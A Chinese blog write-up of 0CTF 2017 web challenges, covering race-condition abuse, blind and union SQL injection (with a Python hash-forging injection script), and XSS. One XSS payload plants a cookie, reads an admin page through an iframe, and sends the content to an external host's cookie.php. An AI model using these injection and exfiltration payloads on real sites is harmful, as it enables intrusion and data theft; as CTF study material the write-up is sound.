0CTF2017|Web

这次0ctf Web题目很耐做,尤其是两道XSS,让我学到了很多东西,(虽然没做出来),那两道之后会详细分析,现在先放出剩下三道题的做题思路。

Temmo's Tiny Shop

比赛一开始好像出了bug,钱可以无限制的增长,随手买了hint(官方马上改了)

这两个hint至关重要,第一个就是告诉了表名,第二个也是找到注入点的关键条件。


OK! Now I will give some hint: you can get flag by use `select flag from b7d8769d64997e392747dbad9cd450c4`

2017-03-18 09:24:18 --- !HINT!


Round off your meal with a salty brownie and a cup of locally roasted coffee at Baked, maybe you will get flag


在购买了brownie和cat之后,会发现order 字段存在注入(别问为什么买这两个,这就是运气)

WAF过滤了一大堆字符

|
'
"
;
>
<
*
$
!
`
%09
%0A
%0B
%0C
%0D
%20
+
=
rand
extractvalue
information_schema
updatexml

之后查到 order后可以用if进行盲注

构造payload

if(ascii(substr((select(flag)from(b7d8769d64997e392747dbad9cd450c4)),1,1))like(1),name,price)

试了一天都不对。

后来考虑到是hint做了修改,表名也改了。

于是准备竞争漏洞买hint。。

但是还是不行。。各种买,卖竞争都有试过。

第二天早上开始找脑洞,注意到一个hint是

and a cup of locally roasted coffee at Baked

网上翻了一下,发现星巴克爆出过 session竞争漏洞。

于是开了两个浏览器登陆同一个号,抓取session,进行竞争,拿到hint

OK! Now I will give some hint: you can get flag by use `select flag from ce63e444b0d049e9c899c9a0336b3c59`    

然后是盲注 拿到flag

flag{r4ce_c0nditi0n_i5_excited}


KoG

根据输入的id,js算出来hash,然后提交到一个api

api.php?time=&hash=&id=

很容易看出是一个注入,首要的问题是如何算出hash(如果直接输入1'这种注入语句会被拦截)

用firebug单步调试

看到main()函数

Module.main
(function(throwBindingError,invoker,fn,runDestructors,retType,classParam,argType0,arg0Wired_dtor
/*``*/) {
return function main(arg0) {
if (arguments.length !== 1) {
throwBindingError('function main called with ' + arguments.length + ' arguments, expected 1 args!');
}
var arg0Wired = argType0.toWireType(null, arg0); // std::string
var rv = invoker(fn, arg0Wired);
arg0Wired_dtor(arg0Wired); // std::string
var ret = retType.fromWireType(rv);
return ret;
}

})

 把相关函数源码通过单步拿到

     function(destructors, value) {
              if (value instanceof ArrayBuffer) {
                  value = new Uint8Array(value);
              }
  
              function getTAElement(ta, index) {
                  return ta[index];
              }
              function getStringElement(string, index) {
                  return string.charCodeAt(index);
              }
              var getElement;
              if (value instanceof Uint8Array) {
                  getElement = getTAElement;
              } else if (value instanceof Int8Array) {
                  getElement = getTAElement;
              } else if (typeof value === 'string') {
                  getElement = getStringElement;
              } else {
                  throwBindingError('Cannot pass non-string to std::string');
              }
  
              // assumes 4-byte alignment
              var length = value.length;
              var ptr = _malloc(4 + length);
              HEAPU32[ptr >> 2] = length;
              for (var i = 0; i < length; ++i) {
                  var charCode = getElement(value, i);
                  if (charCode > 255) {
                      _free(ptr);
                      throwBindingError('String has UTF-16 code units that do not fit in 8 bits');
                  }
                  HEAPU8[ptr + 4 + i] = charCode;
              }
              if (destructors !== null) {
                  destructors.push(_free, ptr);
              }
              return ptr;
          },


 function _time(ptr) {
      var ret = (Date.now()/1000)|0;
      if (ptr) {
        HEAP32[((ptr)>>2)]=ret;
      }
      return ret;
    }

function(value) {
              var length = HEAPU32[value >> 2];
              var a = new Array(length);
              for (var i = 0; i < length; ++i) {
                  a[i] = String.fromCharCode(HEAPU8[value + 4 + i]);
              }
              _free(value);
              return a.join('');
          },

可以看到他是直接利用BUFFER,在BUFFER里进行运算
HEAPU里面存储着数据

在firebug里面单步执行到最后一步获得结果前,输入一个小于原来参数的值

就会dump下来内存

找到加密原文

d727d11f6d284a0d+payload+ This_is_salt+时间戳

整个原文进行md5就是hash值,接下来就可以写脚本注入来获取flag

import time
import hashlib   
import requests
def md5(src):
    m2 = hashlib.md5()   
    m2.update(src)   
    return m2.hexdigest()
#payload = "-1 union select 1,column_name from information_schema.columns where TABLE_NAME='fl4g' limit 0,1"
payload = "-1 union select 1,hey from 0ctf.fl4g"
hash = md5('d727d11f6d284a0dpayload This_is_salt1489821845'.replace('payload', payload))
id = payload
url = 'http://202.120.7.213:11181/api.php?time=1489821845'+'&hash='+hash+'&id='+id
print url
r = requests.get(url)
print r.text

flag{emScripten_is_Cut3_right?}

SIMPLESQLi

一个注入,ascii码大于一定值会被过滤掉,于是就用它来绕过WAF对select等关键词的拦截。

complicated xss 

http://government.vip/可以构造任意html让bot点击,但是因为同源策略不能ajax访问http://admin.goverment.vip:8000/ 的内容

http://admin.goverment.vip:8000/ 里面有登陆/上传功能

 

具体信息如下:

 

可构造任意html让bot点击

这里应该可以admin传shell??不知道字段orz

http://admin.government.vip:8000/upload

http://admin.government.vip:8000/login

test /test 登陆(没有csrf保护)

 

http://admin.government.vip:8000

存在self-xss(cookie中username可构造payload),但删除了一些window的函数

delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;

http://admin.government.vip:8000

有同源策略保护

不能从http://government.vip/

直接ajax访问

思路:

初步想法是先篡改子域的cookie,构造iframe,进行self-xss,利用window.name进行通讯


构造出payload:

 <HTML>
<HEAD>
<script src=http://webxss.net/5drXyH?1489843913></script>
<script>
document.cookie = 'username=<\/h1>test<img src="#" onerror="window.name=document.body.innerHTML">;domain=.government.vip; path=/';
</script>
</HEAD>
<BODY>
<script>
      var state=0;
    iframe = document.createElement('iframe'),
    loadfn = function() {
     
     if (state === 1) {
            var data = iframe.contentWindow.name;
            window.open("http://123.206.216.198/cookie.php?msg="+escape(data));
        } else if (state === 0) {
            state = 1;
            iframe.contentWindow.location = "http://government.vip/data/50856607eadd5182d6dcd046531211d1.html";
        }
    
       
    };
    iframe.src = 'http://admin.government.vip:8000/';
    if (iframe.attachEvent) {
        iframe.attachEvent('onload', loadfn);
    } else {
        iframe.onload  = loadfn;
    }
    document.body.appendChild(iframe);</script>
</BODY>
</HTML>

成功打到admin访问的子域的页面内容

然后看到这里面沙盒删除了很多个该window下的函数,就放弃使用ajax获取数据了,

想要构造一个自动提交的表单,但是不知道怎么填充默认文件内容,也试过文件名XSS..都无果

今天翻看了一下别人的wp

http://blog.dragonsector.pl/2017/03/0ctf-2017-complicated-xss-web-177.html

发现是利用创建一个到upload 的iframe,然后利用这个iframe window的XMLHttpRequest进行数据传输(没想到iframe就是另外一个window,不受沙盒影响,学习到了一波姿势。。。)

这里构造了上传内容

最后是上传过后直接返回的flag

simple xss

很迷的题。。可以使用的字符有

a-zA-Z ~|_^\=<-+*

试了一下

<script src=\\xxxxxx

发现是个file://协议的的url

然后查了一波姿势

构造出

<img src=1 onerror=loaction=(任意一个document下的变量)

但是没什么效果。。。

今天,看了LC BC的WP

https://ctftime.org/writeup/5956

\\居然会解析到https://   协议  很费解。。。。

自己复现了也还是file。。。不知道为什么。。

所以等我再研究一下。。。

= =原来是因为在win下\\会自动被解析成file协议。。。。。很烦。。我想买MAC了。。。

然后在chrome下 可以用句号。代替.

这样就可以构造payload了~

  • 用支付宝打我
  • 用微信打我

2条回应:“0CTF2017|Web”

  1. zzz说道:

    那个真的不叫firebug……firebug是另外一个东西

发表评论

电子邮件地址不会被公开。 必填项已用*标注